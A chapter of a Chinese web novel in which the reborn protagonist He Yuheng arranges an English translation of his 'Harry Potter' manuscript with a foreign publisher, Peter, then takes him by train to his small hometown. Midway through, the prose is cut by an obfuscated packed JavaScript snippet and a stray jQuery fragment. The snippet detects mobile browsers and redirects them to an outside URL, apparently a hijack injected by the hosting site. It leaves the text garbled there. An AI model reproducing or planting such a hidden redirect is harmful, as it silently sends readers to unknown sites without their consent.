皮特兴奋了一阵后，又安静下来，仔细翻看了部分译文。


    “挺好的。”


    他说道：“虽然我不清楚你的中文版具体内容，但仅看这个英文版，水平很不错。


    里面甚至有一些西方俚语和高级用词，可见翻译者对于西方文化是非常精通的，说不定有多年的留学经历。


    即便零星有几个词，在我看来有待商榷，但也无伤大雅。


    一方面，我们在出版之前还会进行文稿校正。


    另一方面，你这本小说，本来就不需要太高级的文笔，而是以剧情内容取胜的。


    即便翻译水平再低一个档次，也影响不大。”


    “那就好。”


    何玉衡笑道：“以我自己的英文水平，做不出这么准确的判断，你这么说，我就放心了。


    既然如此，我就请人帮忙，把后面十万字的内容继续翻译出来。”


    “其实这件事情，原本不应该由你来负责，更不应该由你来支付费用。”


    皮特笑道：“不过，我实在是迫不及待地想看到后续内容，而你又是个富裕的大老板，我也就不和你客气了。


    当然，以后你再写了后续内容，就不必这么做了。


    可以直接把中文版交给我，由我们出版社来联系翻译人员并支付相关费用。


    而你支付的这批费用，我也会向出版社申请给你报销的……”


    “可以，听你们安排。”


    “另外，我想，你的中文版文稿也可以联系你们国家的出版社了，我相信任何一位有眼光的编辑，都不会拒绝这么一个精彩的故事，拒绝这么一本有商业价值的书的。”


    “我会联系的。”


    何玉衡看了看时间，道：“到晚餐时间了，我请你去吃饭。”


    “乐意之至。”


    皮特笑得很开心：“今天既得到了这么精彩优秀的小说，又有人请吃饭，实在太高兴了！”


    何玉衡前世在京城品尝过不少老字号的店，其中不少店，这个年代就已经营业了，只是规模和名气还没有后世那么大罢了。


    他带着皮特来到距离酒店不远的其中一家店品尝招牌菜。


    几道菜上桌，何玉衡又要了瓶白酒，请皮特品尝。


    皮特喝不太习惯，但也没有要求换酒，而是努力适应，小口小口地抿着喝。


    “最近几天，你都在京城游玩吗？”


    何玉衡问道。


    “对，每天都去不同的地方玩，有时候是有人带着我，有时候是独自一人。”


    皮特说道：“昨天我去怕了长城，实在太累了，于是今天就在酒店里面休息，正好你是今天来找我的，否则我还真不一定在酒店里面。”


    “接下来有什么打算？”


    何玉衡问道：“继续在京城游玩吗？”


    “我想去其他地方看一看。”


    皮特说道：“比如说，沪海市。听说那里是你们国家最发达的一个城市。


    还比如说，岭南省。


    我打算明天就动身，乘坐火车，先去沪海市，再去岭南省。


    这样一路逛几个城市，最后从岭南省乘坐飞机回到京城。”


    “我邀请你顺道去我们嘉宁市看一看。”


    何玉衡说道：“沪海市和岭南省，还有京城，都代表了目前我国经济发展的前沿城市。


    而我的家乡嘉宁市，则是一个普通的小城市。


    我所在的安映县，更是一个非常具有代表性的普通小县城。


    在那里，你可以体验感受到与大城市截然不同的另外一种生活方式和文化氛围。


    你可以在嘉宁市待一两天，然后去沪海市。”


    皮特欣然答应：“可以啊，我非常乐意去你的家乡游玩。”


    “那你明天收拾好行李，在酒店等我，我办完一些事情，就去找你。”


    “好的。”


    次日。


    何玉衡早晨先去把《哈利波特》的后续十万字稿件交给了郝主任，拜托他在半个月左右的时间内完成翻译。


    然后提着礼物，去协和医院看望了顾明远的爱人。


    顾明远的爱人躺在病床上，不能动，但嘴上还是一个劲地对何玉衡表示感谢。


    顾明远和他的其他家人就更不必说了，一脸感动地对何玉衡道谢。


    因为医生在动手术后表示，幸好他们来得及时。


    否则如果再拖延几个月，肿瘤继续长大一些，会影响到非常重要的血管和器官。


    到时候，手术难度必定大大增加，手术风险率可能会在50以上。


    就是因为何玉衡借了这几千块钱，让他们能够尽早手术，才可以没有太大风险地度过了这个难关。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14255536|151581||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “嫂子，你好好休息。”


    “顾老师，我今天还得返回嘉宁市，就不多待了。”


    “科研项目的事情，我们企业内部先开会研究一下，后续确定下来就第一时间联系你。”


    何玉衡向他们告辞后，来到皮特所在的酒店。


    皮特已经收拾好了行李。


    拉着一个行李箱，背着一个双肩包，在酒店大厅里面等着了。


    二人来到火车站，买了两张火车票。


    这一次，何玉衡沾了皮特的光。


    因为他自己买票的话，是很难直接在火车站买到当天的软卧票的。


    但有皮特这个外国人作伴，他也享受到了特殊待遇，成功买到了两张软卧票，并且还是双人间的软卧。


    只不过，他这一路上也没能好好休息。


    因为皮特坐在床上，望着窗外，时不时就会抛过来一个问题。


    “何，这是什么？”


    “何，那是什么？”


    “何，咱们到哪一个城市了？”


    “这个城市有什么好吃的好玩的吗？”


    如果不是皮特问的都是一些无关痛痒的问题，何玉衡简直都要怀疑这哥们的动机不纯了。


    天黑了。


    火车抵达嘉宁市。


    二人下了车。


    一起下车、出站的那些旅客，看到皮特，都特别惊讶。


    出站时，火车站的工作人员，也是一脸震惊。


    皮特可能不是第一个来嘉宁市的外国人，但绝对是他们在嘉宁市第一次见到的外国人。


    大家都想不到，在他们这种小地方，竟然也能看到外国人的身影。


    “没想到，外国人长得还真和电视上差不多。”


    “何总，这是哪个国家的人啊？”


    “叫什么名字？”


    “哈喽啊，你吃饭了吗？咪西咪西了吗？”


    “咪西个屁啊，何总刚才说了，人家是霉国人，听不懂这个！”


    “你有能耐，你问啊！”


    “我哪里懂外国话……”


    一些性格外向、胆子大的旅客和工作人员，热情地向皮特打招呼，好奇地问东问西。


    “皮特，你现在成大明星了。”


    何玉衡笑道：“如果你会唱歌，在这里办一场演唱会，肯定会有很多人来参加。”